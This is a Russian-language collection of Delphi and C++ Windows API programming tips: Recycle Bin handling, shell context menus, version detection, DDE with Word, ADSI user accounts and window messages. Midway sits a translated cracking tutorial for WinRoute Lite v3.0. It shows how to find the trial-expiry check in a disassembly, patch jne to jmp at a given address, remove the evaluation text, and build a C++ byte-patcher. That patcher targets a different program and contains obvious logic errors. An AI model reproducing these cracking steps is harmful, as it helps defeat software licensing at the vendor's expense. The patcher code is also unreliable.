может очистить корзину (Recycle Bin). Удаление файла в корзину (то есть - с возможностью дальнейшего восстановления) производится глобальным метод ом SHFileOperation, подробное описание которого выходит за рамки этого обзора. Вы также можете узнать количество объектов, расположенных в корзине, и их суммарный размер, с помощью метода SHQueryRecycleBin.
// C/C++
// Проверка и очистка корзины на локальном диске C:
SHQueryRBInfo.cbSize = sizeof(SHQUERYRBINFO);
hr = SHQueryRecycleBin("C:\\", &SHQueryRBInfo);
if( SUCCEEDED(hr) && (SHQueryRBInfo.i64NumItems > 0) )
{
SHEmptyRecycleBin( 0, "C:\\", 0 );
}
|
// Delphi
// Данные типы и методы не описаны в ShlObj.Pas,
// поэтому опишем их сами.
type
SHQUERYRBINFO = record
cbSize: DWORD;
i64Size: Int64;
i64NumItems: Int64;
end;
LPSHQUERYRBINFO = ^SHQUERYRBINFO;
TSHQueryRBInfo = SHQUERYRBINFO;
const
shell32 = 'shell32.dll';
function SHQueryRecycleBinA(pszRootPath: PAnsiChar;
var pSHQueryRBInfo: TSHQueryRBInfo): HResult; stdcall;
external shell32 name 'SHQueryRecycleBinA';
function SHQueryRecycleBinW(pszRootPath: PWideChar;
var pSHQueryRBInfo: TSHQueryRBInfo): HResult; stdcall;
external shell32 name 'SHQueryRecycleBinW';
function SHQueryRecycleBin(pszRootPath: PChar;
var pSHQueryRBInfo: TSHQueryRBInfo): HResult; stdcall;
external shell32 name 'SHQueryRecycleBinA';
function SHEmptyRecycleBinA(hWnd: HWND;
pszRootPath: PAnsiChar; dwFlags: DWORD): HResult; stdcall;
external shell32 name 'SHEmptyRecycleBinA';
function SHEmptyRecycleBinW(hWnd: HWND;
pszRootPath: PWideChar; dwFlags: DWORD): HResult; stdcall;
external shell32 name 'SHEmptyRecycleBinW';
function SHEmptyRecycleBin(hWnd: HWND;
pszRootPath: PChar; dwFlags: DWORD): HResult; stdcall;
external shell32 name 'SHEmptyRecycleBinA';
// Проверка и очистка корзины на локальном диске C:
SHQueryRBInfo.cbSize := sizeof(TSHQueryRBInfo);
hr := SHQueryRecycleBin(PChar('C:\'), SHQueryRBInfo);
if Succeeded(hr) and (SHQueryRBInfo.i64NumItems > 0) then
begin
SHEmptyRecycleBin( Self.Handle, PChar('C:\'), 0 );
end;
|
Частой задачей является выполнение некоторых команд контекстного меню для данного элемента. Например, для открытия окна свойств объекта нужно запросить интерфейс IContextMenu этого объекта, и активизировать команду "Properties". Ниже представлен пример:
/
/ C++
#define _WIN32_DCOM
#include
#include
// Это приложение выводит на экран
// окно свойств "Мой компьютер".
HRESULT hr;
LPMALLOC pMalloc = NULL;
LPSHELLFOLDER desktop = NULL;
LPCONTEXTMENU mnu = NULL;
LPITEMIDLIST pidlDrives = NULL;
CMINVOKECOMMANDINFO cmd;
void main( int argc, char *argv[])
{
hr = CoInitializeEx( NULL, COINIT_MULTITHREADED );
if( SUCCEEDED( hr ) )
__try
{
hr = SHGetMalloc( &pMalloc );
if( SUCCEEDED( hr ) )
__try
{
hr = SHGetDesktopFolder( &desktop );
if( SUCCEEDED( hr ) )
__try
{
hr = SHGetSpecialFolderLocation( NULL, CSIDL_DRIVES, &pidlDrives );
if( SUCCEEDED( hr ) )
__try
{
hr = desktop->GetUIObjectOf( NULL, 1, const_cast(&pidlDrives), IID_IContextMenu, NULL, (void**) &mnu );
if( SUCCEEDED( hr ) )
__try
{
memset( & cmd, 0, sizeof( cmd ) );
cmd.cbSize = sizeof( cmd );
cmd.fMask = 0;
cmd.hwnd = 0;
cmd.lpVerb = "Properties";
cmd.nShow = SW_SHOWNORMAL;
hr = mnu->InvokeCommand( & cmd );
}
__finally
{
mnu->Release();
}
}
__finally
{
pMalloc->Free( pidlDrives );
}
}
__finally
{
desktop->Release();
}
}
__finally
{
pMalloc->Release();
}
}
__finally
{
CoUninitialize();
}
}
|
// Delphi
program ShellB;
// Это приложение выводит на экран
// окно свойств "Мой компьютер".
uses
Windows,
ActiveX,
ShlObj;
var
pMalloc: IMalloc;
desktop: IShellFolder;
mnu: IContextMenu;
hr: HRESULT;
pidlDrives: PItemIDList;
cmd: TCMInvokeCommandInfo;
begin
hr := CoInitializeEx( nil, COINIT_MULTITHREADED );
if SUCCEEDED( hr ) then
try
hr := SHGetMalloc( pMalloc );
if SUCCEEDED( hr ) then
try
hr := SHGetDesktopFolder( desktop );
if SUCCEEDED( hr ) then
try
hr := SHGetSpecialFolderLocation( 0, CSIDL_DRIVES, pidlDrives );
if SUCCEEDED( hr ) then
try
hr := desktop.GetUIObjectOf( 0, 1, pidlDrives, IContextMenu, nil, Pointer(mnu) );
if SUCCEEDED( hr ) then
try
FillMemory( @cmd, sizeof(cmd), 0 );
with cmd do
begin
cbSize := sizeof( cmd );
fMask := 0;
hwnd := 0;
lpVerb := PChar( 'Properties' );
nShow := SW_SHOWNORMAL;
end;
hr := mnu.InvokeCommand( cmd );
finally
mnu := nil;
end;
finally
pMalloc.Free( pidlDrives );
end;
finally
desktop := nil;
end;
finally
pMalloc := nil;
end;
finally
CoUninitialize;
end;
end.
|
Все примеры в данном обзоре являются реально работающими (предварительно скомпилированными). Для компиляции использовались Microsoft Visual C++ 6.0 SP3 и Borland Delphi 4.0 UP3. К сожалению, при конвертации в HTML могли возникнуть маленькие погрешности, к оторые пока мне неизвестны.
Узнать о завершении работы Windows.
| MCSE - это такой специалист, который обучен с улыбкой на лице и в дружественных выражениях всякий раз авторитетно разъяснять вам, почему нужно переустанавливать вашу операционную систему. |
Если текст в Memo1 был изменен, то программа не разрешает завершения сеанса Windows.
... private procedure WMQueryEndSession(var Msg: TWMQueryEndSession); message WM_QUERYENDSESSION; ... procedure TForm1.WMQueryEndSession(var Msg: TWMQueryEndSession); begin Msg.Result := integer(not Memo1.Modified); end; |
Вызвать диалог завершения работы с Windows.
| По окончании инсталляции программ Microsoft очень часто можно прочесть - "Мы долго и трудно работали. Наслаждайтесь!" После работы с некоторыми программами Microsoft хочется изменить эту надпись таким образом: "Мы долго и трудно работали. Теперь... ваша очередь!" |
procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(FindWindow('Progman', 'Program Manager'), WM_CLOSE, 0, 0);
end;
|
Узнать версию Windows.
| Бог создал мир за семь дней и до сих пор система работает, не требуя перезагрузки, потому что у него не было необходимости поддерживать совместимость с предыдущими версиями. |
type
TWinVersion = (wvUnknown, wv95, wv98, wvME, wvNT3, wvNT4, wvW2K, wvXP);
function DetectWinVersion: TWinVersion;
var
OSVersionInfo: TOSVersionInfo;
begin
Result := wvUnknown;
OSVersionInfo.dwOSVersionInfoSize := sizeof(TOSVersionInfo);
if GetVersionEx(OSVersionInfo) then
begin
case OSVersionInfo.DwMajorVersion of
3: Result := wvNT3;
4: case OSVersionInfo.DwMinorVersion of
0: if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
Result := wvNT4
else
Result := wv95;
10: Result := wv98;
90: Result := wvME;
end;
5: case OSVersionInfo.DwMinorVersion of
0: Result := wvW2K;
1: Result := wvXP;
end;
end;
end;
end;
function DetectWinVersionStr: string;
const
VersStr: array[TWinVersion] of string = (
'Unknown',
'Windows 95',
'Windows 98',
'Windows ME',
'Windows NT 3',
'Windows NT 4',
'Windows 2000',
'Windows XP');
begin
Result := VersStr[DetectWinVersion];
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Ver := DetectWinVersion;
Label1.Caption := IntToStr(Ord(DetectWinVersion));
Label2.Caption := DetectWinVersionStr;
end;
|
Текущая позиция окна.
Автор: Mike ScottТекущую позицию можно получить от холста, используя Windows API функцию GetCurrentPosition:
CurrentX := LoWord( GetCurrentPosition( Canvas.Handle ) ) ; CurrentY := HiWord( GetCurrentPosition( Canvas.Handle ) ) ; |
Можно ли заблокировать обновление определенного окна.
Автор: Олег Кулабухов.
LockWindowUpdate(Memo1.Handle); . . LockWindowUpdate(0); |
Окно без заголовка.
| Билл Гейтс плохо учился в школе. Бывало, только смотрит в окно и ничего не делает. Любил он окна. |
Добавьте объявление процедуры.
procedure CreateParams(var Params: TCreateParams); override; |
И ее реализацию:
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
Style := (Style OR WS_POPUP) AND NOT WS_DLGFRAME;
end;
|
Установите BorderStyle в bsSizeable.
Запуск внешней программы.
procedure TForm1.Button1Click(Sender: TObject);
var
w1: Word;
p1, p2: array[0..100] of Char;
begin
StrPcopy(p1, 'CALC');
if GetModuleHandle(p1) = 0 then
begin
StrPcopy(p2, 'C:\windows\Calc.exe');
w1 := WinExec(p2, SW_Restore);
end;
end;
|
Как взломать WinRoute Lite v3.0.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Статья переведена, исправлена и дополнена by vallkor(vallkor@chat.ru) Автор: da Cracker/CBE.
Вступление: Многие сейчас спрашивают меня "Можешь ты научить меня как ломать программы?" Поэтому я решил написать этот туториал, в котором я научю вас как взломать WinRoute Lite v3.0... Надеюсь, что вам это понравится! Если у вас есть какие -нибудь комментарии, дополнения, .... пожалуйста напишите мне сюда: dc_cbe@hotmail.com.
Содержание: Программы, необходимые для взлома этой программы Поиск места, которое необходимо запатчить Как патчить найденное место Изменение текста в программе Написание патча на С++ Последние штрихи.
1. Программы, необходимые для взлома WinRoute Lite Вот список необходимых для взлома WinRoute Lite:
WinDisassembler WinRoute Lite ( что? правда? ;) ) QView
Не надейтесь кракнуть прогу без этих утилит (прим.переводчика: я бы и без них кракнул)! Эти тулзы можно найти здеесь http://cracking.home.ml.org Вы можете взять WinRoute Lite at http://www.winroute.com.
2. Поиск места, которое необходимо запатчить Теперь мы будем искать место, которое необходимо запатчить.
Запускаем WinRoute 3.0 Что мы видим? WinRoute 3.0, 30 days evaluation... Эта версия триал на 30 дней. ОК, давайте патчить этот кусок **** (прим.автора: здесь вырезана нецензурщина ;) Выходим из WinRoute Litе Теперь установим системные часы на месяц вперед... Запускаем WinRoute Lite снова. Trial Expired! Вы всё ещё хотите использовать эту программу... Ok, поехали: давайте кракнем её. Запомним сообщение (Trial Period Expired). Теперь выходим из WinRoute Lite Идём в дирректорию WinRoute Lite (по умолчанию c:\Program Files\WinRoute 3.0) Копируем wrlite.exe в wrlite.bak (для восстановления на случай неудачи) и в 1.exe (для использования в w32dasm... Зачем??? Потому что нельзя будет модифицировать файл, который использует дизассемблер). (прим. переводчика: на самом деле можно - поставить в настройках full accsess) Сделали? хорошо, теперь запускаем w32dasm. Выбираем Disassembler --> Open File to Disassemble Заходим в дирректорию WinRoute Lite и выбираем 1.exe дизассемблировалось быстро? Это потому что программа маленькая... теперь выбираем меню Search --> Find Text и ищем текст "trial period expired" (это было сообщение об ошибке, помните?) Вот что мы имеем:
*Possible StringData Ref from Data Obj -> "#5Trial period has expired" <-- Sux :0040B348 6898704200 push 00427098 <-- Сохраняет полезную информацию :0040B34D E80E7D0000 call 00413060 <-- что-то вызывает :0040B352 83C404 add esp, 00000004 <-- добавляем 4 к esp (прим. переводчика: вообще здесь правят стек)Что же делать? давайте посмотрим на одну строку выше:
:0040B346 750D jne 040B355 <-- прыгаем, если триал не вышел(прим.переводчика: Тут автор воспевает себе оды, что он нашел это место, поэтому я сам расскажу, что здесь нужно сделать): Т.к. мы прыгаем если триал не закончился, то менять jne на je нельзя, т.к. тогда если триал действительно не вышел, то мы не прыгнем и программа не заработает. Поэтому нужно поменять jne на jmp! т.е. теперь мы будем прыгать в любом случае, независимо от того, окончился триал или нет! Теперь перейдем к патчю!
3. Как патчить найденное место (прим. переводчика: здесь я тоже сам расскажу как и что): открываем wrlite.exe в QView. Выбираем Search (F7) и вводим в строке hex : 75 0D 68 98 70 42 00 он находит это место. Теперь переходим в режим дизассемблера и меняем jne на jmp т.е. 75 на EB ВСЁ! Теперь сохраним: ESC -> write программа готова к использованию.
4. Изменение текста в программе (прим. переводчика: здесь автор предложил использовать тот же самый хекс- редактор для изменения текста в программе "WinRoute v3.0, 30 days evaluation" на просто "WinRoute v3.0", у меня есть идея получше): Запускаем любой редактор ресурсов программы (Restorator, RS, ResExplorer) или даже из пакета делфи. Ищем в разделе Strings эту строку и заменям её на нашу. Всё.
5. Написание патча на С++ Вот исходник патчера на С++:
--------------Вырезать здесь---------------
#include <stdio.h>
long filesize(FILE *stream)
{
long curpos, length;
curpos = ftell(stream);
fseek(stream, 0L, SEEK_END);
length = ftell(stream);
fseek(stream, curpos, SEEK_SET);
return length;
}
main() {
int counter;
FILE *filename;
unsigned char readbyte;
long int offset[1] = {
153268 }; // Offset address
unsigned char data[2] = {
132, 133 }; // Data to be written
printf(" ЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬЬ\n"); // Displays the logo
printf("ЫЯ ЯЫ\n");
printf("Ы Hex Workshop v2.54 Ы\n");
printf("Ы ENTER ANY SERIAL # Ы\n");
printf("Ы BY dC/CBE Ы\n");
printf("Ы E-mail: dc_cbe@hotmail.com Ы\n");
printf("Ы Website: http://cbe.ml.org Ы\n");
printf("Ы IRC: #cbe98 on Efnet Ы\n");
printf("ЫЬ ЬЫ\n");
printf(" ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ\n");
printf("\nю OPENING FILE: ");
if ((filename = fopen("HWORKS32.EXE", "r+")) == NULL) {
printf("OK!\nю CHECKING SIZE : ");
if (filesize(filename) == 678912) {
printf("OK!\nю PATCHING FILE : ");
for (counter=1;counter<2;counter++) {
fseek(filename,offset[counter-1],SEEK_SET);
fscanf(filename,"%c",&readbyte);
if (readbyte == data[(counter*2)-2]) {
fseek(filename,offset[counter-1],SEEK_SET);
fprintf(filename,"%c",data[(counter*2)-1]);
} else
{printf("ERROR!\nю FILE ALREADY PATCHED OR DIFFERENT!\n"); fclose(filename); return 1; }
}
printf("OK!\nю PATCH SUCCESSFULL! Enjoy it!\n");
} else printf("ERROR!\nю FILESIZE MISMATCH!!\n");
fclose(filename);
} else printf("ERROR!\nю CAN'T OPEN FILE!!\n");
return 0;
}
--------------Вырезать здесь---------------
Теперь компилируйте программу и крак готов!
6. Последние штрихи Надеюсь вам понравилась данная статья!
-da Cracker/CBE dc_cbe@hotmail.com http://cbe.ml.org #cbe98 on Efnet.
Литературный перевод, а фактически переделал туториал: vallkor (vallkor@chat.ru)Проверить, доступен ли WinSock.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Winsock;
function WinsockEnabled: Boolean;
var
wsaData: TWSAData;
begin
Result := True;
case Winsock.WSAStartup($0101, wsaData) of
WSAEINVAL, WSASYSNOTREADY, WSAVERNOTSUPPORTED: Result := False;
else
Winsock.WSACleanup;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if WinsockEnabled then
ShowMessage('Winsock is enabled')
else
ShowMessage('Winsock is disabled');
end;
WinWord через DDE.
| Автор: GPM |
| Вы много смотрите нового русского кино, если знаете, что: - Любая информация (особенно данные из баз данных) на экране компьютера представлена в виде Word`овского файла - других программ режиссеры, видимо, просто не знают. |
Пара других пользователей также задавала на этой неделе аналогичный вопрос, но у меня не было доступа к машине, где установлена Delphi. К несчастью я затер их адреса, но надеюсь они увидят это сообщение. Нижеприведенный код является "экстрактом" моей технологии, которую я успешно применил для создания DDEPokes и DDEExecutes с WinWord в качестве сервера. Обратите внимание на то, что я использовал методы DDE, требующие PChar вместо строк, поскольку строки имеют дополнительные символы и при DDE-преобразованиях WinWоrd'у плохеет.
function TfrmLetter.CreateLetter: Boolean;
var
szCommand: array[0..2048] of char;
sCommand: string;
BmkNames: array[0..3] of string;
idx: ShortInt;
DDEOK: Boolean;
Buffer, ParMark: PChar;
BufSize: Integer;
hWord: hWnd;
begin
CreateLetter := False;
DDEOK := True; {Флаг проверки результатов DDE-операций}
DDEClient.SetLink('winword', WordDoc);
{WordDoc содержит имя документа winword, необходимого для связи}
{DDEClient - элемент управления DDE client}
if DDEClient.OpenLink = False then
Exit;
hWord := FindWindow('OpusApp', nil);
LockWindowUpdate(hWord); {Блокируем обновление экрана winword}
{Убедитесь, что нужный документ является активным окном Word}
sCommand := '[If FileName$() <> "' + WordDoc + '" Then]';
sCommand := sCommand + '[While (idx < CountWindows()) and (FileName$() <> "';
sCommand := sCommand + WordDoc + '")][NextWindow][idx = idx + 1]';
sCommand := sCommand + '[Wend][Activate WindowName$()][End If]';
StrPLCopy(szCommand, sCommand, SizeOf(szCommand) - 1);
DDEOK := DDEOK and DDEClient.ExecuteMacro(szCommand, False);
{Сбрасываем баннер}
sCommand := '[EditGoto "Banner"]';
if GetWinwordVersion = 2 then
{GetWinword - простая функция пользователя, использующая GetModuleHandle
для определения номера версии запущенного Word: Word 2 или Word 6}
sCommand := sCommand + '[EditGlossary "Banner"]'
else if GetWinwordVersion = 6 then
sCommand := sCommand + '[EditAutoText "Banner"]';
sCommand := sCommand + '[EditGoto "Date"][UpdateFields][LockFields]';
StrPLCopy(szCommand, sCommand, SizeOf(szCommand) - 1);
DDEOK := DDEOK and DDEClient.ExecuteMacro(szCommand, False);
Application.ProcessMessages;
{Вставляем Имя отправителя, Прямой номер абонента и пр.}
BmkNames[0] := 'DirectDialNumber';
BmkNames[1] := 'EMailAddress';
BmkNames[2] := 'AuthorName';
BmkNames[3] := 'Personal';
for idx := 0 to 3 do
if CheckInclude[idx].Checked = True then
begin
BufSize := TextInclude[idx].GetTextLen;
Inc(BufSize);
GetMem(Buffer, BufSize);
TextInclude[idx].GetTextBuf(Buffer, BufSize);
DDEOK := DDEOK and DDEClient.PokeData(BmkNames[idx], Buffer);
FreeMem(Buffer, BufSize);
end
else
DDEOK := DDEOK and DDEClient.PokeData(BmkNames[idx] + '2', '');
|
В Word вы должны иметь заранее созданный файл (в нашем примере DDETEST.DOC) и закладку с именем "Bm1".
{------------------- полный исходный код --------------------------}
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, DdeMan;
type
TForm1 = class(TForm)
DdeConv: TDdeClientConv;
Word: TButton;
procedure WordClick(Sender: TObject);
private
{ Private-declarations }
public
{ Public-declarations }
end;
{ Свойства DdeConv: }
{ ConnectMode : ddeManual }
{ DdeService : [None] }
{ DdeTopic : [None] }
{ FormatChars : False }
{ Name : DdeConv }
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WordClick(Sender: TObject);
begin
if DdeConv.SetLink('WINWORD', 'D:\WINWORD\DDETEST') and
DdeConv.OpenLink then
begin
ShowMessage('Установлена связь с WinWord !')
{ убедимся в наличии соединения }
DdeConv.PokeData('Bm1', 'Данные из Delphi !')
{ вставляем 'Данные из Delphi' в документ word }
DdeConv.CloseLink;
end;
end;
end.
{------------------- конец исходного кода --------------------}
|
Но только сделав это хотя бы раз своими руками, вы сможете разобраться в этой технологии!
Создание Аккаунта в Windows, используя ADSI (Активные директории).
| Встречаются два программиста. Первый: - Слушай, одкуда у тебя такой классный велик?- - Да не поверишь. Сижу вчера на берегу, обдумываю новую программу, тут подъезжает ко мне такая красивая девушка на велосипеде, снимает с себя все и говорит:"Бери все, что хочешь.". Ну, я и взял велосипед, а на хрена мне ее одежда?. |
Чтобы создавать пользовательские аккаунты в Windows на Delphi можно использовать ADSI (Active Directory Services Interface) от Microsoft. Вы думаете, что ADSI это новая примочка для Windows 2000 (судя по названию) , но оказывается ADSI доступна для всех платформ Win32. Для этого Вам потребуется всего навсего скачать ADSI для Windows (более полная информация на http://www.microsoft.com/adsi ). Ну и конечно же ADSI входит в поставку Windows 2000.
ADSI довольно большой предмет для изучения. В данном примере я затрону этот предмет поверхностно. ADSI - это своего рода основа для различных сервисов (обычно основанных на директориях) оперционной системы. Например, стандартными ADSI сервисами можно назвать (COM интерфейсы, которые можно использовать в программах) WinNT, IIS, LDAP и NDS. WinNT сервис может тем самым использоваться для создания пользовательских аккаунтов, модификации их или модификации групп.
Следующий небольшой пример показывает необходимые шаги для создания пользовательского аккаунта в NT/2000, используя ADSI:
Во первых Вам прийдётся импортировать Библиотеку Типов ADSI (Menu Project/Import Type Library). Библиотеку Типов можно найти в поддирректории system32 (Например C:\WINNT\system32\activeds.tlb). Требуемый файл называется 'activeds.tlb'. Если такого файла нет, то проверьте, правильно ли вы установили ADSI. После успешного импортирования Библиотеки Типов Вы найдёте новый файл в дирректории ипортов Delphi, файл будет называться "activeds_tlb.pas" (..\Delphi5\Imports\activeds_tlb.pas). Чтобы приступить к программированию ADSI в Delphi, необходимо включить этот файл в Ваш проект.
Далее в примере, необходимо заменить [computername] на фактическое имя компьютера, с которым Вы работаете. То же надо проделать с [accountname]. Пример тестировался на WindowsNT 4.0 и Windows 2000.
...
uses ActiveX, // используется для COM Moniker stuff...
ActiveDs_TLB, // созданная библиотека типов
ComObj; // используется для OleCheck и других функций COM
implementation
procedure TForm1.BtnCreateUserClick(Sender: TObject);
var
Usr: IADsUser;
Comp: IADsContainer;
begin
try
Comp := GetObject('WinNT://[computername],computer') as IADsContainer;
Usr := Comp.Create('user', '[accountname]') as IADsUser;
Usr.SetInfo;
except
on E: EOleException do
begin
ShowMessage(E.message);
end;
end;
end;
procedure TForm1.BtnSetPasswordClick(Sender: TObject);
var
Usr: IADsUser;
begin
try
Usr := GetObject('WinNT://[computername]/[accountname],user') as IADsUser;
Usr.SetPassword('thenewpassword');
except
on E: EOleException do
begin
ShowMessage(E.message);
end;
end;
end;
// GetObject использует вызов VB GetObject
// Данный код (GetObject) был найден в Usenet.
// GetObject позволяет связаться с существующим ADSI сервисом
// используя 'ADSIPath' (например WinNT://.... или
// IIS://localhost).
function TForm1.GetObject(const name: string): IDispatch;
var
Moniker: IMoniker;
Eaten: integer;
BindContext: IBindCtx;
Dispatch: IDispatch;
begin
OleCheck(CreateBindCtx(0, BindContext));
OleCheck(MkParseDisplayName(BindContext, PWideChar(WideString(name)), Eaten, Moniker));
OleCheck(Moniker.BindToObject(BindContext, nil, IDispatch, Dispatch));
Result := Dispatch;
end;
end.
|
Через ADSI Вы так же можете изменять параметры пользовательских аккаунтов. Следующий код изменяет флаг 'Password never expires' нужного аккаунта:
procedure TFormMain.ButtonNeverExpiresClick(Sender: TObject);
var
Usr: IADsUser;
begin
try
Usr := GetObject('WinNT://[computername]/[acccoutname],user') as IADsUser;
// Проверяем состояние чекбоксов...
if CheckBoxPasswordNeverExpires.Checked then
Usr.Put('UserFlags', Usr.Get('UserFlags') or 65536)
// 65536 объявлено как UF_DONT_EXPIRE_PASSWORD в iads.h
// в ADSI SDK от Microsoft
else
Usr.Put('UserFlags', Usr.Get('UserFlags') xor 65536);
Usr.SetInfo;
except
on E: EOleException do
begin
ShowMessage(E.message);
end;
end;
end;
|
В завершении...
Чтобы использовать большие возможности ADSI , необходимо проверить, поддерживаются ли такие сервисы как IADsUser или IADsContainer.
Я рекомендую поработать с ADSI SDK от Microsoft и более детально изучить Библиотеку Типов.
Некоторые ADSI компоненты я постараюсь выложить на своей домашней страничке http://www.jespersen.ch. Так что, если интересно, то заходите и мыльте на philip@jespersen.ch.
Узнать версию Windows и DOS.
| - Вы работаете в ДОС или Windows? - Нет, я работаю в милиции. |
Нужно воспользоваться функцией GetVersion(). Она в старшем слове возвращает версию Dos'a, а в младшем - Windows.
procedure TForm1.Button1Click(Sender: TObject); var WinVersion, DosVersion: Word; begin WinVersion := GetVersion and $0000FFFF; DosVersion := GetVersion shr 16; Label1.Caption:=IntToStr(Hi(DosVersion))+'.'+IntToStr(Lo(DosVersion)); Label2.Caption:=IntToStr(Lo(WinVersion))+'.'+IntToStr(Hi(WinVersion)); end; |
Коды ошибок Windows.
| Если у вас на автомобиле перестала работать лампочка Windows, то прежде чем обращаться в службу технической поддержки: 1) проверьте регистрационный номер лампочки. 2) убедитесь, что никто не пытался разобрать лампочку и впаять туда другую нить накаливания. 3) попытайтесь перевентить лампочку - это наверняка поможет. 4) убедитесь, что ваша лицензионная лампочка установлена в гнездо зарегестрированной электрической сети автомобиля. 5) убедитесь, что при использовании электрической сети вы пользовались лицензионным предохранителем. Учтите, что при обращении за поломкой в автомастерскую, где производилась покупка автомобиля, Windows не несет никакой ответсвеннсти за дальнейшую работоспособность лампочки. |
Оповещение всей системы о изменении WIN.INI.
| На работе пропал програмер. День нету, два. На звонки не отвечает. Ну решили проверить что да как. Пришли к нему домой, а там в холодной ванне сидит лысый програмист с полупустой бутылкой шампуня в руке. Отняли у него бутылку и читают инструкцию: 1. Нанести на влажные волосы. 2. Намылить. 3. Подождать. 4. Смыть. 5. Повторить. |
Оповещение приложения (или всей системы) о изменении WIN.INI. При изменении WIN.INI (например, изменении настроек хранителя экрана) необходимо уведомить систему (или конкретное приложение) о том, что WIN.INI изменен. Это можно сделать при помощи передачи приложению сообщения WM_WININICHANGE SendMessage(HANDLE, WM_WININICHANGE, 0, PCHAR(SECT_NAME)); При этом HANDLE равен или HANDLE приложения, или HWND_BROADCAST - рассылка всем приложениям. SECT_NAME задает имя секции WIN.INI, в которой произошли изменения. Если указать пустую строку (#0), то считается, что изменялись все секции, что естественно увеличивает время обработки и нагрузку на систему.
VAR S : ARRAY[0..40] OF Char; ... StrCopy(S, 'Desktop'); SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S)); |
Определить, что WIN.INI был изменен.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
An application sends the WM_WININICHANGE message to all top-level windows
after making a change to the WIN.INI file.
The SystemParametersInfo function sends this message after an application uses the
function to change a setting in WIN.INI.
}
type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMWinIniChange(var Message: TMessage); message WM_WININICHANGE;
// or WM_SETTINGCHANGE
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.WMWinIniChange(var Message: TMessage);
var
status: Bool;
Area: TRect;
begin
inherited;
case Message.wParam of
// Example: Detect when the screen saver is enabled/disabled
SPI_SETSCREENSAVEACTIVE:
begin
SystemParametersInfo(SPI_GETSCREENSAVEACTIVE, 0, @status, 0);
if Status = True then
ShowMessage('Screensaver has been enabled.')
else
ShowMessage('Screensaver has been disabled.');
end;
end;
end;
Сообщения Windows - введение.
| Вирус детям не игрушка, не товарищ и не друг! |
Вот тривиальный пример: я хочу (по некоторой причудливой причине) вставлять в TMemo символ 'y' каждый раз после набора цифры '4'. (Обдумайте способ автоматической вставки блока begin-end или заключительной скобки.) Я, конечно, мог бы поработать с Memo-свойством Lines, но это было бы не так красиво и достаточно громоздко. Вот как выглядит наш пример с использованием сообщений:
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = '4' then
SendMessage(Memo1.Handle, WM_CHAR, Word('y'), 0);
end;
|
Другой пример демонстрирует работу с компонентом ComboBox. Мы хотим, чтобы он автоматически выпадал при нажатии пользователем какой-либо клавиши. Это поведение, к сожалению, нестандартно. Вот что мы делаем:
procedure TFormEffortRates.ComboBoxMaterialKeyDown(Sender: TObject; var
Key: Word; Shift: TShiftState);
var
iShowing: integer;
{ какой-то код, затем... }
begin
{ С помощью сообщения узнаем состояние ("раскрытость") СоmbоВох'а }
iShowing := SendMessage((Sender as TComboBox).Handle, CB_GETDROPPEDSTATE, 0, 0);
if iShowing = 0 then
{ раскрываем ComboBox }
SendMessage((Sender as TComboBox).Handle, CB_SHOWDROPDOWN, 1,0);
end;
|
Другой хороший пример демонстрирует способ получения строки и колонки TMemo. Для такого трюка мы воспользуемся API. Вот реализация этого метода (это может не самый эффективный метод, но он приведен ради демонстрации работы сообщений):
function TMDIChild.GetMemoColumn(const TheMemo : TMemo) : integer; begin Result := TheMemo.SelStart - (SendMessage(TheMemo.Handle, EM_LINEINDEX, GetMemoLine(TheMemo), 0)); end; function TMDIChild.GetMemoLine(const TheMemo : TMemo) : integer; begin Result := SendMessage(TheMemo.Handle, EM_LINEFROMCHAR, TheMemo.SelStart, 0); end; |
Короче говоря, сообщения API позволяют тонко управлять вашими приложениями, выполняя именно те задачи, которые вам необходимо решить (метод "точечной наводки"). Вам необходимо лишь выбрать цель и передать свою просьбу понравившемуся элементу управления (или самому ловить такие сообщения).
Убедиться, что приложение (окно) не отвечает.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// The Documented way
{
An application can check if a window is responding to messages by
sending the WM_NULL message with the SendMessageTimeout function.
Um zu uberprufen, ob ein anderes Fenster (Anwendung) noch reagiert,
kann man ihr mit der SendMessageTimeout() API eine WM_NULL Nachricht schicken.
}
function AppIsResponding(ClassName: string): Boolean;
const
{ Specifies the duration, in milliseconds, of the time-out period }
TIMEOUT = 50;
var
Res: DWORD;
h: HWND;
begin
h := FindWindow(PChar(ClassName), nil);
if h <> 0 then
Result := SendMessageTimeOut(H,
WM_NULL,
0,
0,
SMTO_NORMAL or SMTO_ABORTIFHUNG,
TIMEOUT,
Res) <> 0
else
ShowMessage(Format('%s not found!', [ClassName]));
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if AppIsResponding('OpusApp') then
{ OpusApp is the Class Name of WINWORD }
ShowMessage('App. responding');
end;
Убедиться, что приложение (окно) не отвечает 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// The Undocumented way
{
// Translated form C to Delphi by Thomas Stutz
// Original Code:
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
The code doesn't use the Win32 API SendMessageTimout function to
determine if the target application is responding but calls
undocumented functions from the User32.dll.
--> For NT/2000/XP the IsHungAppWindow() API:
The function IsHungAppWindow retrieves the status (running or not responding)
of the specified application
IsHungAppWindow(Wnd: HWND): // handle to main app's window
BOOL;
--> For Windows 95/98/ME we call the IsHungThread() API
The function IsHungThread retrieves the status (running or not responding) of
the specified thread
